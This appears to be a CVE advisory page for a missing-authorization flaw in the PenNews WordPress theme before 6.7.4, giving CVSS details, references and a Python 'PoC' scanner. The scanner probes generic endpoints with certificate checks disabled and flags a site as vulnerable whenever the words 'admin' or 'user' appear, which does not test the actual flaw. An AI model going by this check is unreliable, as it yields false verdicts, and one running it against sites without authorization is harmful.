CVE-2025-67572

Description

Missing Authorization vulnerability in PenciDesign PenNews pennews allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PenNews: from n/a through < 6.7.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PenNews < 6.7.4

PenNews (n/a through 6.7.4之前所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-67572 PoC - PenNews Theme Broken Access Control
# Target: WordPress sites with PenNews theme < 6.7.4

import requests
import sys

TARGET_URL = "https://example.com"  # Replace with target URL

def check_vulnerability():
    """Check if target is vulnerable to CVE-2025-67572"""
    
    # Common PenNews endpoints that may lack authorization
    vulnerable_endpoints = [
        "/wp-admin/admin-ajax.php",
        "/wp-json/pennews/v1/",
        "/wp-content/themes/pennews/",
    ]
    
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-67572-Scanner)",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    print(f"[*] Scanning target: {TARGET_URL}")
    print(f"[*] Checking for CVE-2025-67572 vulnerability\n")
    
    for endpoint in vulnerable_endpoints:
        url = TARGET_URL + endpoint
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            print(f"[+] Endpoint: {endpoint}")
            print(f"    Status: {response.status_code}")
            
            # Check for signs of missing authorization
            if response.status_code == 200:
                # Check if sensitive data is exposed without auth
                if "admin" in response.text.lower() or "user" in response.text.lower():
                    print(f"    [!] Potential unauthorized access detected!")
                    
        except requests.RequestException as e:
            print(f"[-] Error accessing {endpoint}: {e}")
    
    print("\n[*] Scan complete. Upgrade PenNews to version 6.7.4+")

if __name__ == "__main__":
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67572
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67572
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67572/
[4] VulDB https://vuldb.com/cve/CVE-2025-67572
[5] https://patchstack.com/database/Wordpress/Theme/pennews/vulnerability/wordpress-pennews-theme-6-7-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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